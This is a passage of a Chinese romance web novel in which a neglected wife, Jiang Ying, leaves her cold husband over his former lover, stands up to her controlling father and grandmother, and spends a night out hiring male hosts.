然而,这一切在陆砚深眼里一文不值。
在他心里,江莹这么做无非就是监视他,粘着他。即便在公司她从未主动靠近,也是没出息的一种。
她环视着自己办公室,心里纵使不舍,也知道自己不可能再留下来。
身体阵阵发冷,让她清醒,男人留不住,但不能跟自己的身体过不去。
离开公司,她去了医院。
打完点滴回到家,将近七点钟。
因为还有些发烧,她跟保姆打了声招呼直接上楼,想着吃点药收拾行李。
“太太……”
保姆王嫂欲言又止地看着她。
“怎么了?”
王嫂指了指楼上,低声道:“楼上有人,先生…先生也在。”
第6章 床借给你们用
不等江莹反应王嫂的话,一道软软的声音响起。
“砚深,我…我帮你收拾得还可以吧?轩轩的东西平时也都是我整理的。”
江莹心口一窒,这声音…是秦欣。
陆砚深就这么急不可耐,竟然把人带回家了。
江莹深吸一口气,提步上楼,脚步沉重却坚定。
人家都追到家里了,没有躲的道理。
主卧的门,敞开着。
暖黄色的灯光,将里面的场景映照得清晰、刺眼。
秦欣纤细的双臂圈着陆砚深的胳膊,仰着一张巴掌大的小脸,巧笑嫣然。
“你这人,整天板着脸,夸人一句都舍不得。”
软糯的声音带着嗔怪,眼睛亮晶晶地望着陆砚深,满是雀跃和幸福。
而陆砚深——
他微微低着头,一只手落在秦欣的手背上,轻轻拍了拍。
动作温柔,带着安抚。
“时间不早了,我让司机送你回去。”
低沉的嗓音里是江莹从未听过的温柔。
然而,在瞥见门口僵立的身影时,脸上的那抹柔和,瞬间消散得无影无踪。
取而代之的,是江莹再熟悉不过的淡漠。
秦欣察觉到他的变化,顺着他的视线好奇地转过头。
看到江莹,她脸上的笑容先是一僵,随即染上几分无辜。
“江莹,不好意思打扰了。”
她的声音依旧甜软,脸颊上泛着酒后的酡红。
“砚深明天要和我一起出差,我看他这几天太忙了,肯定没空收拾行李,就…就想着过来帮帮忙。”
不等江莹开口,陆砚深低声道:“先回去。”
江莹弯唇,声音轻且脆,“是我回来的不是时候,打扰到你们。我拿完东西,马上就走。”
陆砚深不悦,“别阴阳怪气,她喝多了。”
“是我考虑不周,我就是想感激砚深,为他做点事。”秦欣无辜地站直身体,“不…不好意思,我…我马上就走。”
她说着就往前走,脚步踉跄。
刚走两步,整个人摇摇欲坠。
下一秒,陆砚深直接揽住她的腰,嗓音带着的责备,“急什么?”
江莹冷笑着瞥了两人一眼,直接去衣帽间拿了行李箱,塞了必要的衣物和用品下楼。
看到正在换鞋的两个人,她弯唇笑道:“该走的是我,时间和空间留给你们,床也借给你们用。”
她拉着行李箱,眼神决绝。
经过陆砚深时,他抬手握住她的手腕。
“江莹,还没有闹够?”
陆砚深脸色彻底沉了下来,声音染了盛怒,连同握着她的手都用了十足的力道,恨不得掐死她的力道。
江莹脚步一顿,甩开他的手,声音果决,“陆砚深,我不会再跟你闹了。”
曾经因为秦欣,她闹过。
陆砚深每次都很不耐烦,说她想多了。
现在,确实没有再闹的必要。男人的心从不曾在她身上,不过是家里强塞给他的一个妻子,她再怎么做也走不进他心里。
车窗外,城市的霓虹在江莹脸上明暗交错。
她握着方向盘的手,指节泛白。
在陆砚深眼里,她所有的期待与绝望,都是无理取闹。
也好。
那就,彻底不闹了。
车子在一栋略显陈旧的别墅里停好。
这里是江莹从小长大的地方,外公留下的老房子。
空气里弥漫着淡淡的烟火气,与湖心公馆的奢华冰冷截然不同。
推开房门,熟悉感铺面而来。
也是这份熟悉感,让她紧绷的情绪,松懈下来。
至少,这里没有秦欣的挑衅,没有陆砚深冷漠伤人的眼神。
她没有开灯,借着窗外透进来的微弱月光,走到沙发边,重重地坐了下去。身体陷进柔软的沙发,疲惫如同潮水般汹涌而至。
望着窗外皎洁的月色,良久未动。
黑暗中,手机屏幕亮起,幽幽的光映着她毫无血色的脸。
指尖微颤,她点开微信,找到了梁玥的头像。
江莹:玥玥,问一下你认识的那个做二手奢侈品老板,明天能不能抽空去湖心公馆一趟?我有些东西要处理。
消息发送出去,不过两秒钟,梁玥回复。
梁玥:???
梁玥:什么情况?陆氏要破产了?需要你卖东西补窟窿?
梁玥:上午还牛哄哄给外室的母亲安排VIP病房,晚上就要让老婆典当首饰?
梁玥知道江莹的处境,对她的选择虽然觉得憋屈,但也是无能为力,毕竟当初是她逼婚的陆砚深。
更何况她身上的担子重,又是真心爱陆砚深。
随着这些年秦欣一直存在于她和陆砚深之间,作为好友她不好说什么,婚姻如水,冷暖自知。
但今天陆砚深的行为,让她真的想给他两耳光。
江莹咬唇轻笑,果然是亲闺蜜,说话向来单刀直入。
江莹:有没有可能,舔狗不舔了?
梁玥:不可能,狗就没有不舔的。
江莹咂咂嘴,真是亲闺蜜,直捅心窝子。
她正不知道该怎么回,梁玥消息又发过来。
梁玥:宝儿?!卧槽??!!
一连串的问号和感叹号,足以显现屏幕那端梁玥的震惊。
梁玥:刚在赶稿子,你什么意思?今天的事确实挺伤人,但秦欣的存在也是一天两天了,你……
她怀疑江莹一时生气。
江莹:离婚协议我已经签字。
梁玥那边停顿良久。
梁玥:你在哪儿?还好吗?
看着好友急切的关心,江莹冰冷的心底泛起一丝微暖,却也更加酸涩。
江莹:我在老房子这里,没事,别担心。
梁玥:我去陪你。
江莹:好,等你!
放下手机,江莹搓了搓手,因为忘了开暖气,打字的手指有些发僵。
她起身开灯,开暖气,叫了各种各样的外卖,都是平时陆砚深不让她在家吃的。
刚点好外卖,手机里进来一条消息。
陆砚深:出差五天。
看着置顶的消息,江莹笑了。
三年来,第一次报备。
笑过之后直接将陆砚深的电话拉黑,留着微信,联系后续。
梁玥赶到时,她已经吃上,神色平静。
她满眼心疼的看着江莹,三年前以为江莹终于有了依靠,没想到,陆砚深待她也是那么凉薄。
江莹弯唇,“别这么看着我,丧偶的都有,何况只是离婚。”
她说得轻松,梁玥听得并不轻松,她知道江莹对陆砚深的心思。
当年明知道陆砚深不爱她,还是一股脑扎了进去,凭着一腔孤勇,以为总能换来真心相待。
结果……
三年了,陆砚深对她依旧凉薄。
“真想通了?”
梁玥看着她既心疼又无奈。
“想通了,守着人得不到心,挺没意思的。我已经提交离职不管陆砚深同不同意,一个月后都会离开陆氏。”
梁玥看江莹是下了决心的,也不再劝,她不是一个软弱的人。
“这才是你江莹该有的魄力,谁还没有被渣男伤过,就当攒经验了。”
“离婚律师包我身上!绝对找个最厉害的,帮你把他裤衩都扒下来。”
江莹笑笑,抿了一口水,扒陆砚深的裤衩,她不敢想。
“上次师兄说的那个逍遥楼遗址复原项目,我想去试试?”
提起师兄,梁玥愣了一瞬,再开口声音正经了几分,“能提起师兄,看来你是真的放下了。”
第7章 卖婚房
师兄宋瑾修高她们一届,是金融系的高才生,毕业后自己成了投资公司。
在校时追过江莹,在江莹最难最无助那段时间,是他一直陪着她。
她曾想过接受他的好,若不是陆砚深答应娶她或许他们会在一起。
婚后为了避嫌,能不见她就不见。一是觉得自己对不起师兄曾经的好,二是不想让陆砚深误会。
宋瑾修偶然得知这个项目后,给江莹打过电话,还把她以前的设计稿拿给了有关负责人。
江莹喜欢古风建筑,大学主修的就是历史建筑工程。
大学一毕业就跟陆砚深结了婚,放弃了继续深造进了陆氏设计部。
某种意义上来说,她也算是放弃了理想。
好在这几年她的设计理念古今融合,受到客户很大认可。
在陆氏从一个不起眼的设计师,一步步走到今天独自带团队,没有沾陆砚深一点光。
因为,没有人知道她是陆砚深的妻子。
江莹抿唇,“你知道的,我一直很喜欢古建筑,之前是为了离陆砚深近一点进的陆氏。现在都要离婚了就没什么好顾忌的,就看能不能拿到机会。”
梁玥看着她眼眶有些酸涩,那么用力的爱着一个人,如今却这么平静地谈论着离开,可见她的心里有多凉。
“师兄出差了等他回来,我们聚聚,他门道多说不定有机会参与。”
江莹两人边吃边聊,再也没有提起陆砚深。
在梁玥看来表面的平静都是假象,江莹心里的伤,只能自己慢慢舔舐。
……
次日,梁玥去上班,江莹跟人约好之后回了湖心公馆。
看着衣帽间自己珍藏的那些珠宝首饰,还有包包,默默叹了口气。
这里面有她明里暗里示意陆砚深送的节日礼物,还有一些是陆砚深随手丢给她的,说是客户给的首发款。
每一件,都曾被她小心翼翼地珍藏,视若珍宝,仿佛能抓住那一点点虚无缥缈的温情。
东西不少,唯独没有一件是他自己用心准备的。如今看来,不过是最大的讽刺。
处理完那一堆奢侈品,房产中介进来。
是她昨晚联系的。
这套婚房,是陆爷爷给她的彩礼,写在她一个人名下。
她曾经以为,这是长辈的认可和祝福,是她能在这个冰冷的婚姻里,抓住的一丝安全感。
现在想来,长辈的祝福终究抵不过伴侣的凉薄!
但,给她的,就是她的。
是她的,就不会留给后人。
卖掉它,从此之后,了无牵绊。
三年婚姻,镜花水月。
陆砚深依旧不爱她,甚至连最基本的尊重都吝啬给予。
如今梦醒,她能抓住的,只有钱。
而且她需要钱。
江莹站在客厅,任由中介不停地拍照。
她看着房子里的一点一滴,想起当初住进来时的雀跃和紧张。
窗明几净,阳光满溢,处处透着用心。
如今,在江莹看来,只剩下刺眼。
她深吸一口气,冰冷的空气吸入肺腑,带来一丝尖锐的刺痛。
纵有千般不舍,但人不能一直委曲求全。
她已经蹉跎了三年,该向前看了。
最终,这套房她给出低于市场价八百万的报价,只求尽快卖掉。
送走中介,江莹收拾东西时,手机响起。
手机屏幕上“爸爸”两个字,让她蹙眉。
她深吸一口气,指尖划过屏幕,接通。
“爸!”
声音没什么温度,稀松平常。
电话那头顿了顿,传来张启明略显刻意的温和嗓音。
“莹莹啊,晚上回家吃饭吧,你宋阿姨做了你爱吃的菜。”
回家?
江莹嘴角勾起一抹讥诮。
那个地方,早就不是她的家了。
江莹父亲张启明是倒插门,如今张启明控制的江氏,是江莹外祖父的产业。
母亲宋兰月五年前车祸去世,张启明在第二年将公司的财务总监唐玉,连同她的女儿张冉冉一起领进门。
倒不是她非要父亲为母亲守着,而是唐玉在进门时已经有了五个月的身孕。
再婚再育这件事,张启明从未跟她有过丝毫商量。
从那之后,江莹原本的家,现在成了张启明一家四口的家。
和她江莹,没多少关系。
“知道了。”
她淡淡应了一声,不欲多说。
张启明对她一直不冷不热,即便母亲在世,江莹从他那里得到的父爱也很稀薄。
也就是她嫁给陆砚深之后,反倒多了几分父女亲情。
但江莹很清楚,这份父女情太薄,禁不起推敲。
每次所谓的回家吃饭,其目的昭然若揭。
这次应该是又看上了陆家的项目,要让她去陆砚深面前吹枕边风。
可偏偏,她不能完全撕破脸。
母亲还在疗养院住着,高昂的医药费,甚至母亲能不能继续治疗,都是张启明一句话。
张启明拿捏着她的软肋。
江莹挂了电话,眼底一片寒凉。
***
傍晚,江莹驱车回到那栋承载了她美好记忆,如今只剩冰冷和算计的别墅。
客厅里灯火通明,张启明坐在主位,唐玉温婉地陪坐在一旁。
继妹张冉冉,则盘着腿靠在沙发上,漫不经心地刷着手机。
同父异母的弟弟张诚诚在看动画片。
空气里弥漫着一股不属于她的温馨。
“大小姐回来了。”
随着佣人一声通传,唐玉起身,笑容得体端庄。
“莹莹回来了,饿了吧,饭菜马上就端上来。”
江莹没看她,径直走向单人沙发坐下。
不经意间已经将自己和他们隔开。
“姐,今天又是一个人回来的?”
张冉冉放下手机,声音不大不小,刚好让客厅里的人都听见,语气里带着毫不掩饰的幸灾乐祸。
“陆总还真是大忙人呢,结婚三年,陪你回娘家吃饭的次数,一只手都数得过来吧?啧啧,真是辛苦姐姐了。”
那阴阳怪气的调调,像根针又密又细地扎着人。
江莹端起面前的茶杯,指尖微微收紧,骨节泛白。
忍了张冉冉将近三年,如今陆砚深她都不忍了,凭什么还要忍一个毫无血缘关系的继妹。
就凭唐玉吗?
她还没有那么大的脸。
“张冉冉。”江莹缓缓开口,“谁给你的脸,一而再再而三用这种语气跟我说话?”
张冉冉脸上的得意一僵。
江莹抬眸,目光直直盯着她。
“这里是我家,我是一个人回,还是带着陆砚深一起回,什么时候轮到你来置喙?”
“还有……”她顿了顿,眼神扫过脸色微变的唐玉和皱起眉头的张启明,“搞清楚你自己的身份,别改了名字就忘了自己真正姓什么。”
字字诛心,毫不留情。
张冉冉被她堵得脸色一阵青一阵白,气得浑身发抖,眼圈瞬间就红了,泫然欲泣地看向张启明和唐玉。
“爸、妈,你们看姐姐她……”
“够了!”张启明猛地一拍桌子,怒视江莹,“莹莹,有你这么跟你妹妹说话的吗?她是你妹妹,越来越没有规矩。”
江莹冷笑一声,迎上张启明的怒火,毫不退缩。
“妹妹?我妈只生了我一个。爸,你是不是忘了?”
“你!”张启明气结。
“真以为住进了这里,就是一家人?”
她这话算是戳到了唐玉心窝子里,张启明为了控制公司,不能跟江岚离婚,她只能没名没分跟着他。
第8章 孩子,我不会要
张启明知道,这是唐玉的心结,被江莹这么直白地说出来,他蹭地一下站了起来。
唐玉怕他发脾气把事情弄僵,连忙打圆场,“好了好了,启明,你少说两句。”
她一边轻轻拍着张启明的背,一边柔声细语地对江莹说,“莹莹,冉冉不懂事,你别跟她一般见识,你可是从小被你爸爸当名媛千金培养的,规矩和仪态自然是冉冉比不上的。走,吃饭去,菜都要凉了。”
一副贤妻良母的模样。
但,江莹对她喜欢不起来,看似维护他们父女之间关系,实际每次都不动声色将矛头指向江莹。
就像现在,张启明看她的神色,又严肃了几分,像是心疼他曾经为培养江莹花的钱。
“有什么事直接说吧,我们坐在一起,谁都吃不好。”
江莹不想浪费时间,她今天回来,其实就是为了想给张启明提个醒,公司的事她不会再管。
张启明沉着脸,胸口堵着一口气,便不再拐弯抹角。
“我听说……陆氏最近投了一个人工智能项目前景非常好,是砚深亲自负责的,你跟他说说让我们也入点股。”
果然无事献殷勤,非奸即盗。
江莹心底冷笑,轻轻开口,“你觉得以我现在的处境,还能让陆砚深为我,为江氏,开这个口子吗?”
张启明皱眉,“你什么意思?”
“蓝湾项目被秦氏截胡,你没有看到新闻?”江莹说得轻松,心里却仍像有根刺。
蓝湾项目张启明是知道的,她代表陆氏参加了之前的技术谈判,张启明甚至也有过想要插一脚的心思。
陆砚深跟秦欣的关系豪门圈都知道,现在项目给了秦氏,张启明当真不明白?
但他身为父亲,没有问过她一句是否还好,更别奢望他会为自己出头。
现在竟然还让她去求陆砚深要好处!
这样的父亲,她怎么不心寒?
张启明脸色一变,“你这话是什么意思?”
“意思就是……”
江莹的声音陡然转冷,“人工智能项目,你想都不要想。我不会再为了公司,为了你,去陆砚深面前摇尾乞怜!”
“以后,江氏和陆砚深都和我无关。你也别再指望,能通过我去攀附陆家拿好处,我在他那里没有任何价值。”
这番话,如同一记重锤砸在张启明心上,她若是连这点用处都没有,养那个痴呆的女人还有什么用。
他猛地站起身,抬手就是一个耳光。
“你……你这个不孝女!养了你这么多年,翅膀硬了。”
“我让你去跟砚深说说,是为了谁?还不是为了这个家,为了你外公留下来的产业。”
“公司业绩差,随时会倒闭,你就一点不心疼,那是你外公一辈子的心血。”
“现在让你帮着拉点项目,你居然说出这种话。你眼里还有没有我这个父亲,还有没有这个家?”
他声色俱厉,唾沫横飞。
江莹的心,彻底冷了下去。
为了外公的心血?
若是外公泉下有知,看到自己辛苦打下的基业被他这个倒插门女婿败成这样,还要靠出卖外孙女的婚姻和尊严去维系,恐怕会气得从棺材里跳出来。
再说了,他怎么好意思提外公?
外公扶他青云直上,他呢?
在母亲出事不到半年就领着唐玉住到了家里。
就在这时,一直沉默垂泪的唐玉,忽然抬起了头。
她红着眼圈轻轻拉了相爱张启明的衣袖,“启明,你别这么说莹莹,她……她心里也苦。”
江莹不想在跟他们在这里浪费时间,那些奢侈她卖了将近五百万,足够维持母亲和舅妈的医药费,还有表弟上学的费用。
所以,她没必要再摇尾乞怜。
“爸,今后我妈和我舅舅家的一切费用,我都不需要你来承担,你们的事也别再找我,我没有那么大的能耐。”
江莹没有直接说离婚的事,就是怕张启明阻挠。
多一事不如少一事,等离婚证拿到再通知他们也不迟。
“你还知道自己没能耐?”奶奶凉薄的声音从外面传进来。
“没用的东西,若是你早点给他生个儿子,还能被外头无名无分的女人占了便宜?”
老太太提着东西拄着拐杖从外面进来,睨着江莹一脸嫌弃。
“结婚三年了,别说生了,你就算怀一个也能证明你能生,也不至于让陆雪那个贱丫头见一次数落一次。”
“妈,你怎么回来这么晚?”唐玉叫妈叫得亲切。
“我回了趟老家,找你三伯母要了这个偏方,你堂弟媳妇吃了两个月就怀上了。”
老太太说着将手里的东西交给江莹,“回去你就吃,孩子生了,还怕他在外头闹腾。孩子是你的底气,家守住了,钱攥在手里,还怕他外面有女人?”
若是正常家庭,奶奶的这份用心,她一定会感动,但他们家不正常。
奶奶向来不喜欢她,从小到大没有给过她好脸色。
她所做的一起,不过是为了张启明,为了他们的利益,就像当初带着她去陆家一样。
外公去世后,江氏股东闹得厉害,后来她母亲也出事,张启明稳不住局面,公司差点就四分五裂。
不知道她哪里听说的,陆家能有今天有她外公的功劳,还听说陆家老爷子之前有让陆砚深娶江莹的意思。
于是她拉着江莹上门挟恩图报,并让陆家认了亲事,并给江氏注资。
“我不需要。”
她到底能不能生不知道,但陆砚深不想让她生这一点她很清楚。
不管什么时候措施都很到位,她就算是易孕体质也没有机会。
她又不是竹节虫可以孤雌生殖。
“不争气的东西。”
老太太抬起拐杖对着她的腿弯狠狠敲了下去。
江莹完全没有防备,怎么也没有想到老太太会对她下手,整个人直接跪在了地上。
身后的张冉冉看到这一幕,眼睛都亮了,幸灾乐祸的样子别提多明显。
就连张启明和唐玉的神色都暗暗透着舒服。
老太太气呼呼把一袋子煎好的中药丢在她面前,“拿回去,两个月给我怀上,要不然我扒了你的皮。”
江莹咬着唇站起来,“我不会要孩子,所以不用等两个月,你现在就扒。”
第9章 谁怂谁狗
江莹冷冷看着老太太,心里的恨和怒让她不想顾及所谓的伦理亲情。
“你拿回来的药我不会喝,我不是你们的摇钱树,也不会在受你们摆布。”
老太太一向认为她不敢反抗,没想到她今天这么强硬。
“行行,你不喝,总有人让你喝。”
老太太看她倔强的样子,想到她那个妈,越看越不喜欢。
当初若不是儿子看上宋兰,非要娶她甚至同意倒插门,她怎么会被人指指点点。
更可气的是宋兰竟然还……
“以后我不想做的事,谁也强迫不了我。”
江莹丢下这句话离开。
“翅膀硬了,你妈一个月花多少钱我就不说了,你那个病秧子舅妈等着换肾,你是不是不想找肾源了?”
江莹脚步顿住,张启明是说过会帮她找肾源,但三年了每次问他都支支吾吾,现在提起来,无非就是想用软肋逼她就犯。
明知指望不上,就不再蠢。
她没有回头,径直离开。出了家门,只觉腿弯处更疼。
她忍着疼痛上车,刚发动车子接到王嫂的电话。
“太太,你让我收拾房子,东西都整理好了,接下来怎么办?”
江莹差点忘了这一茬,房子要卖总不能把陆砚深的个人用品都卖了吧?
再说了还有不少她的东西。
思索片刻,缓缓开口,“王嫂辛苦你明天叫车,陆砚深的你送到云水涧,我的送到梧桐里。云水涧那边你跟着过去,梧桐里让司机直接联系我。”
“太太,你这是要干什么?”
王嫂察觉不对,怎么突然要清空房子呢?
“王嫂,感激你这几年的照顾,陆砚深出差了,你什么都别说,等他回来我会跟他说。”
江莹不想解释,直接挂了电话。
想到今天表弟江墨会去医院看舅妈,江莹搓了搓脸开车去医院。
舅妈是重症尿毒症患者,一直住在医院。
舅舅去世后,这个担子也落在了江莹身上。
舅妈每天被疾病折磨,求生的欲望不高,曾不止一次跟她说想放弃治疗,不想成为她和江墨的拖累。
但舅舅是为了送她出的车祸,她一直心里有愧,不愿放弃。
医院给出的方案是尽快换肾,现在舅妈的身体已经开始出现并发症,若不及时进行肾移植,怕是撑不了多久。
江莹路上给江墨打包了一份饭,到时他正在喂舅妈吃饭。
舅妈穆青看到她,冲她招招手,嗓音透着疲惫,“莹莹,吃饭了吗?”
江莹笑着上前,在家里大声的不愉快,在看到舅妈和表弟的那一瞬,烟消云散。
从小舅妈她就特别喜欢她,对她跟亲女儿一样。
“舅妈,我吃过了。”
江莹上前挽住她的胳膊,心里却酸涩不已。
曾经,舅妈也很漂亮,现在被疾病折磨得憔悴不堪,只剩皮包骨头。
鼻尖的酸涩让她眼眶泛红,怕被舅妈看到,她转头看向江墨,“给你带了饭,你去吃,我来喂。”
穆青抿唇,声音透着虚弱,“哪里就需要你们喂,我自己能吃。”
“儿子,你去吃饭。”
“手上有针,让我姐喂你,整天说她也是你姑娘,刚好让你姑娘给你尽孝。”
江墨比江莹小四岁,今年大四,姐弟俩经常斗嘴,但感情一直很好。
江莹知道他应该是看出了自己的情绪,故作轻松地调侃她呢。
于是抿唇笑道:“对,让老姑娘来尽孝,省得你家这好大儿总说舅妈对我好,对他不好。”
江莹喂穆青吃饭,江墨坐在一旁看着自己最爱的两个女人,手里的饭有些难以下咽。
这些年江莹的处境他不是不清楚,但每次问她,她都说挺好的,让他好好读书。
身为江家唯一的男人,他没有保护她们的能力。
穆青精力不好,也没什么胃口,特定的营养餐每一顿都不便宜,但与她而言真的不必家常的一日三餐。
所以没吃多少就吃不下去。
江莹也不勉强,一周要做四次透析,一做就是三四个小时,再怎么意志坚定的人,日复一日这么活着,也会觉得生不如死吧?
看着穆青沉沉睡下,江莹和江墨离开病房。
送江墨回学校的路上,江墨开口:“姐,今天医生说,再不找可以匹配的肾源,我妈的情况会越来越糟糕。”
“我知道,你放心,会找到的。”
江莹看着一向开朗的大男孩儿,这会儿耷拉个脑袋,心里又闷又涩。
像是被人塞了一团棉花,那种窒息感异常清晰。
“我知道你尽力了,姑父这些年没少拿我妈和姑姑的事逼你,你若是过得不开心,就不用为了我们强撑,我还有一个学期就可以工作了,到时候我们俩一定可以撑起江家。”
江莹笑笑,“你今天这么懂事,我还挺不适应,不过你放心,江家是外公打下来的江山,该是我们的一定会回到我们手里。钱不是问题,现在最大的问题是没有合适的肾源,所以你有空就来多陪陪舅妈,钱的事不用愁。”
“我毕竟是陆砚深的老婆,怎么可能会没有钱,放心。”
江墨看她强装轻松,也没有拆穿她,笑道:“你别就知道欺负我一个人,别人欺负你你就还回去,一个正室不能被一个小三骑在头上。”
江莹笑笑,看来他也看到了新闻。
“放心吧,你姐没有那么好欺负。”
把江墨送回学校,江莹开车回家。
回到梧桐里,江莹重重跌进沙发里,腿上的疼痛明显让她委屈。
她哪里做错了,为什么她的父亲和奶娘都那么不喜欢她?
之前她可以不在乎,外公、妈妈和舅舅一家弥补了父亲和奶奶缺失的爱,但现在呢?
她还有谁?
那个薄情的男人吗?
一天了陆砚深一如之前没有给她只言片语。
看着朋友圈里别人的幸福,忍不住鼻子泛酸,泪水不争气地滑落。
在刷到秦欣发的朋友圈后,江莹整个身子不受控制地颤了一下。
【出差还不忘带我们来过圣诞节,谢谢你!】
下面是标准的九宫格,每张照片都没有陆砚深,但每一张里都有他的影子。
有他抱着孩子的一角,有他牵着小手的大手,有他投喂的动作。
人没有出镜,手腕上的百达翡丽却时时刻刻提醒着他的存在。
江莹甚至从秦欣的手腕上看到了同款的女表。
即便已经知道他们之间的藕断丝连,即便已经准备放下。
但看到这些,让她本就有些低沉的情绪瞬间崩溃。
从岛台拿出酒杯和昨晚点的酒,给自己倒了一杯边走边喝,重新跌回沙发上。
原本昨晚就想喝,因为感冒就放弃了。
今天她要不醉不睡。
正喝着,梁玥开门进来。
她怕江莹一个人不适应,打算这几天来陪她。
看她一个人喝闷酒,心疼不已。
“想喝酒,姐姐带你去一个能喝酒的地方,在家喝多没意思。”
她说着将人从沙发上拉了起来,“那里的弟弟一个比一个正,边喝边看保证你快乐似神仙。”
江莹想想也是,自己这么苦哈哈的给谁看嘛,除了苦自己别人该怎么乐怎么乐。
张家那帮人其乐融融,陆砚深抱着儿子牵着美人快活的早就忘了有她这么个人。
江莹抿唇苦笑,笑自己这些年活得不像自己,为了一个男人,放弃了自己。
“走。”她拿起衣服一脸坚定,“看在你鞍前马后这么多年的份儿上给你点他十个八个。”
梁玥弯唇,她就喜欢江莹这个性格,打不死的小强。
生活怎么虐她千百遍,她依旧能够迎难而上。
“说话算数,到了别怂。”
“谁怂谁狗。”
第10章 刷他的卡,点了十个男模
迷度会所,江北最有名的销金窝,江莹是特意选的这里。
“经理,把你们这会儿最靓的仔都给我叫进来,三五个太少,十个八个不嫌多。”
梁玥豪横地挥着手,一副暴发户的既视感。
经理看着她俩上下打量,这两个人虽然穿得不错,但一下子叫那么多她们付得起吗?
江莹看他打量,猜出他不相信她们的财力,于是拉开包直接拿出黑卡,解决他的后顾之忧。
这卡是陆砚深给他的,说是家用。
三年了,她从未用过。
陆砚深给小情人送项目,送礼物用的钱算是婚内财产吧?
那她凭什么不能消费,这是婚内财产,合情合理,合法合规。
“姐喜欢十全十美,直接来十个人暖场子。”
她用词还是很文明的。
“两位小姐稍等。”
经理看到银行卡,直接拿过去刷卡验资,再回来脸上堆着笑。
看得江莹都替她担心,嘴都咧到耳朵根了疼不疼?
“你们都进来,今天这两个小姐心情好找你们暖场子,一定要让姐姐们高兴。”
紧接着进来一排靓仔,个个年轻帅气,宽肩窄腰大长腿。
江莹忍不住想,这些也不比陆砚深那个老男人差呀。
为啥这些年就找虐呢?
天天开心,延年益寿不好吗?
梁玥也没有见过这阵仗,她的和剧本里倒是常有,照进现实她有点怂,手都是抖的。
“宝儿,会不会太嚣张了?”
江莹了解她,就是一个表面咋呼的人,“怂了?”
“谁怂了?”
“那你先挑,喜欢哪个坐让人你那边。”
梁玥咬牙,舍身陪闺蜜,心里却呜呜大叫,死丫头有过男人吃过肉,她可是连男人手都没有摸过,自己所有的第一次不会都交代在这里吧。
暗叹过后,默默深吸一口气,提醒自己一定要把持住。
心里紧张,脸上强装镇定,“弟弟们,坐,你们我都喜欢。”
江莹眯眼笑笑,她不紧张是假,掌心都开始疼了。
是她指甲硌的。
为了缓解紧张,江莹端起一杯饮料喝了一口。
“你们都会什么?”
十个男生个个眉眼含笑,说话都温温柔柔。
从左到右依此开口,这架势要么是训练有素,要么是经常遇到这样的场面。
“姐姐,我唱歌很好听。”
“姐姐,我跳舞很不错。”
“姐姐,我玩儿狼人杀很厉害,他们都说推理能力超强。”
“姐姐……”
“等等。”江莹看向梁玥问,“要不让他们一个一个展示吧,光说不练等于没看。”
梁玥点头如捣蒜,“可以可以。”
刘姥姥进大观园,这场面真的是第一次,真有点hold不住。
于是包间里靓仔轮番上阵,随着时间推移,两人渐渐平复。
到了后面,梁玥大胆地提出要看腹肌秀。
陆砚深第一轮谈判结束,捏着眉心回到酒店。
刚准备洗澡,看到银行提醒,脚步顿住。
三年没有动过的银行卡,第一条消费记录竟然是迷度。
还一下子刷了十五万块。
这女人是干什么去了?
想到昨晚赌气离开的女人,陆砚深捏着眉心打电话。
沈斯阳正跟几个生意上的合作伙伴喝酒,看到他的电话还挺疑惑。
“你不是出差了吗,怎么这个时候给我打电话?”沈斯阳挑眉贱笑,“想我了?”
“把你犯贱的样子收一收,帮我查件事。”
看某人神色严肃,沈斯阳有所收敛,“这么晚了查什么查,我这边还喝着呢。”
“别废话,查一下半个小时前江莹在你那里干什么了,一下子刷了十五万。”
听到陆砚深这话,沈斯阳瞬间来了兴致,“十五万?可以哦,看来我今晚的营收很客观。”
“再废话,我让你怎么吃进去,怎么吐出来。”
沈斯阳撇嘴,“你老婆花你的钱你问你老婆不就知道了,何必拐弯抹角。”
“十分钟我要结果,否则后果自负。”
“陆砚深……”
不等他吼完,对方直接挂了电话。
气得沈斯阳直接爆粗口。
但毕竟是自己兄弟交代的事,该查还是要查,更何况他也很好奇江莹那个为了钱逼婚的女人怎么会在他这里直接消费十五万。
五分钟后,听到经理的话,沈斯阳整个人如遭雷击。
“十个?”
经理点头,“确实是十个。”
沈斯阳一脸生无可恋,这让他怎么跟陆砚深说,毕竟是他的女人,让他知道他还不得把迷度给他拆了。
哪个男人能忍受自己老婆一次点十个男模?
虽然陆砚深不喜欢她,但不代表他能容忍自己老婆花自己的钱点模子呀!
“想办法进去给我拍张照,三分钟没让我看到照片。”
沈斯阳吩咐完皱眉,心里暗骂江莹大晚上给她找事,陆砚深的钱可没那么好挣。
一旁的人看他着急问:“哥,陆总老婆在你这会儿消费了?”
他离沈斯阳近,隐隐约约听到些。
“最好当什么都不知道,省得陆砚深收拾你。”
那人挑眉一笑,“陆总都有秦小姐,还对老婆看这么严,出来玩儿还查岗。”
陆砚深和秦欣的事,圈里知道的人不少,也知道当初江莹逼婚。
“要我说,陆总现在实权在握,离了算了,反正江氏也是个累赘。”
沈斯阳也搞不懂陆砚深,明明不爱江莹,却又不提离婚。
搞得秦欣很委屈,在他面前哭过好几次。
一边是兄弟,一边是兄弟的女人,他除了听着,都不知道怎么安慰。
他也不喜欢江莹,虽然长得无可挑剔,但不会笑一样,见到他就没给过什么好脸色。
而且当初她逼婚,还要两千万彩礼,就没有见过这么恬不知耻的女人。
心里正不齿,经理打来照片。
看到照片上女人明媚的笑意,惊得瞪大了眼睛,这女人可以!
没想到她还挺有胆,在陆砚深脸上蹦迪,有种!
沈斯阳把照片转给陆砚深,然后打去电话。
陆砚深冲了澡出来,刚接了杯水,听到电话响直接接通。
“说。”
他说完抿了口水。
“你老婆还挺有种,刷你的卡点了十个男模,都是我这里最招人喜欢的弟弟。”
“噗……”
一口水全喷了出来。
“咳咳……”
“这么激动?”沈斯阳看热闹不嫌事大,“以前我觉得你老婆挺无趣的,今天倒是让我长见识了。照片发你了,你看看明媚生动,笑得贼漂亮。我现在倒是明白你为什么不跟她离婚了,你特么就是馋人家身子。”
“滚!”
陆砚深反应过来,直接挂了电话,去看照片。
第11章 宝儿,揍他
看到照片里盯着别的男人笑眯眯的女人,顿时火冒三丈。
真行,会点男模气他。
江莹这样的表情,他不是没见过,只是好久没这么对着他笑过。
刚结婚那会儿,她费尽心机勾他上床时,对他这么笑。
他说她笑得不值钱。
当时,江莹咬着唇扯着他的领口眉眼含笑,说:“我冲自己老公笑,不用值钱,真心就够了。”
也是那次,让她得逞了。
陆砚深磨了磨后槽牙,抬手给那个不知死活的女人打电话。
“您好,你所拨打的电话暂时无法接通。”
